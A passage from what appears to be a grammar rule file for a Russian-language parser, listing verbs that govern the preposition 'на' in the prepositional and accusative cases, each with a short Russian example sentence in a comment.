rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
